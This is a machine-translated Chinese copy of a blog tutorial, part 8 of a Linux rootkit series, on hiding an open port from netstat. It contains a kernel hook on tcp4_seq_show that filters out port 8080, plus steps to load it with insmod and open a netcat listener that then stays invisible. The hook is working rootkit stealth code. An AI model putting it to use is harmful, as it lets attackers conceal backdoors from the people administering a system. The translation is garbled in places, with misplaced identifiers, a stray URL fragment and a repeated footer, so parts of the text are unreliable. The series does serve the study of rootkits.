Xcellerator
文章目录
Linux Rootkit 第 8 部分:隐藏开放端口
2020-10-02 :: TheXcellerator
大多数用户空间系统工具只是解析和操作一个或多个文件中的数据,并将它们很好地呈现给STDOUT. 我们已经在进程中看到了这一点(参见第 7 部分),但这次我们将在开放端口上做同样的事情。最后,我们将能够在端口 8080(任何端口都可以)上打开一个侦听器,而不会出现在netstat.
假设正在读取一个文件*,*我们需要尝试找出是哪个文件。通过查看 的输出strace -e openat netstat -tunelp,我们可以看到/proc/net/tcp和/proc/net/tcp6都被 读取netstat。一个合理的猜测是,这tcp将用于 IPv4 连接,并且tcp6适用于 IPv6 连接。这成为我们的目标,因为如果我们可以控制它,那么我们就可以控制(以及其他类似的)/proc/net/tcp产生的输出。netstat
如果您阅读了我的容器转义 writeup,那么您就会知道下面的文件/proc并不是真正的文件,而是由内核中分配给不同 IO 操作(打开/关闭/读/写/等)的函数定义的。如果我们想控制 的“内容” /proc/net/tcp,那么我们需要找到当进程尝试读取它时调用的函数。如果我们grep查看 输出的第一行/proc/net/tcp,我们会得到一个命中:net/ipv4/tcp_ipv4.c,特别是函数tcp4_seq_show()。最后,我们需要检查该函数是否已导出 - 否则我们无法挂钩它!
$ sudo cat /proc/kallsyms | grep tcp4_seq_show
ffffffffbad03500 t tcp4_seq_show
复制
都好!我们将能够tcp4_seq_show()使用正常的 Ftrace 方法(参见第 2 部分)进行挂钩,不会出现任何问题。
眼尖的读者会发现这
tcp4_seq_show()不可能是sys_read()for调用的函数/proc/net/tcp——它的参数都是错误的!这是事实,但无论真正调用什么函数,tcp4_seq_show()最终都会用来填充返回给用户的缓冲区。
网络套接字结构
当我们看到的时候,首先看到的tcp4_seq_show()是:
static int tcp4_seq_show(struct seq_file *seq, void *v)
{
struct tcp_iter_stat *st;
struct sock *sk = v;
复制
该参数v被转换为一个新变量sk作为sock结构。我们最好看一下这个结构 - 它可以在 中找到include/net/sock.h。源代码告诉我们,这个特定的结构是“套接字的网络层表示”——这听起来就像我们所追求的!该结构中必然有一个字段包含侦听端口。
好吧,这个结构体有很多字段。第一个是另一个结构体,这次是sock_common,后面跟着一堆#defines 。
struct sock {
struct sock_common __sk_common;
#define sk_node __sk_common.skc_node
/* etc */
};
复制
这有点像作弊——它让我们直接引用sock->sk_node而不必先经历sock_common。有点奇怪,但无论如何 - 让我们sock_common在同一个文件中看一下。
struct sock_common {
/* redacted for clarity */
/* skc_dport && skc_num must be grouped as well */
union {
__portpair skc_portpair;
struct {
__be16 skc_dport;
__u16 skc_num;
};
};
/* redacted for clarity */
};
复制
啊哈!和字段skc_dport一起编辑为。看来我们已经找到目标了!回顾一下结构体的定义,我们在第 365 行看到:skc_num``union``__portpair``sock
#define sk_num __sk_common.skc_num
复制
这意味着我们应该能够取消引用结构sk_num体指针的字段sock并获取正在侦听的本地端口!早些时候,我们看到将tcp4_seq_show()其参数之一转换为sock结构并调用它sk(第 2603 行)。特别要注意的是,它看起来像是一次传递一个套接字到tcp4_seq_show(),因此我们应该期望它在遍历所有打开的连接时被调用多次。
为了帮助巩固这一点,我们可以再次看一下“内容” /proc/net/tcp:
$ cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 00000000:E115 00000000:0000 0A 00000000:00000000 00:00000000 00000000 1000 0 864656 1 00000000f6208100 99 0 0 10 0
# etc
复制
下面的第一个条目local_address是00000000:E115. 任何曾经有幸在汇编中编写过反向 shell 的人可能会认识到这是十六进制的 IP/端口组合。事实上,0xe115 = 57621和 的输出netstat确认了一个进程正在监听0.0.0.0:57621(在本例中,罪魁祸首是 Spotify)。
当我们编写钩子时,我们也会转换v为一个sock结构(sk为了简单起见而调用它)并取消引用sk->sk_num以获取每个条目的侦听端口号!
写钩子
不管你相信与否,理解所有这些是困难的部分!正如您很快就会看到的,实际的钩子本身非常简单。完成上述所有内容的目的是为了说明了解如何构建这些模块所需的内核源代码的研究。这通常是该过程中最长的部分!
因此,我们知道tcp4_seq_show()当我们读取 from 时,它将被重复调用/proc/net/tcp,并且指向结构的指针sock在第二个参数中传递给它。我们的钩子需要做的就是检查监听端口是否等于我们想要隐藏的端口,如果是则返回,如果不是则0返回真实端口。tcp4_seq_show()唯一需要注意的是有时v没有初始化(就像我们只是打印表格的顶行)。在本例中,v = 0x1,因此我们需要在尝试解除引用之前检查情况是否并非如此。
/*
* Usual function declaration for the real tcp4_seq_show
*/
static asmlinkage long (*orig_tcp4_seq_show)(struct seq_file *seq, void *v);
/*
* Function hook for tcp4_seq_show()
*/
static asmlinkage long hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
struct sock *sk = v;
/*
* Check if sk_num is 8080
* (0x1f90 = 8080 in hex)
* If sk doesn't point to anything, then it points to 0x1
*/
if (sk != 0x1 && sk->sk_num == 0x1f90)
return 0;
/*
* Otherwise, just return with the real tcp4_seq_show()
*/
return orig_tcp4_seq_show(seq, v);
}
复制
请注意,就像第 4 部分一样,我们不必担心涉及多个版本的钩子,
pt_regs因为tcp4_seq_show()不是系统调用!
很简单,对吧?这可能是迄今为止最短的函数钩子,但我比其他任何人都花了更长的时间来编写!在我决定采用上述方法之前,我迷失了许多兔子洞。
将所有内容放在一起
现在我们已经编写了钩子,继续完成所有 Ftrace 部分(第 2 部分),或者从repo获取源代码。
构建模块后,继续加载它insmod。在另一个终端中,使用 .net 在端口 8080 上创建一个 netcat 侦听器nc -lvnp 8080。现在正常运行netstat -tunelp,您会看到端口 8080 没有显示!使用 netstat卸载 rootkit 并rmmod再次尝试将显示它确实存在。

请注意,我们实际上并没有触及内核中的内部套接字表,因此连接的功能完全没有受到损害!
阅读其他帖子
←Linux Rootkit 第 9 部分:隐藏登录用户(无需接触磁盘即可修改文件内容)Linux Rootkit 第 7 部分:隐藏进程→
哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题
该网站是闹鬼网络的一部分
hub.io/posts/linux_rootkits_07/)
哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题
该网站是闹鬼网络的一部分
本文详细介绍了如何利用LinuxRootkit技术,通过研究内核源代码,隐藏开放端口,不显示在netstat输出中,通过编写简单的函数钩子实现这一功能。作者展示了从理解网络套接字结构到编写并应用钩子的整个过程。

被折叠的 条评论
为什么被折叠?



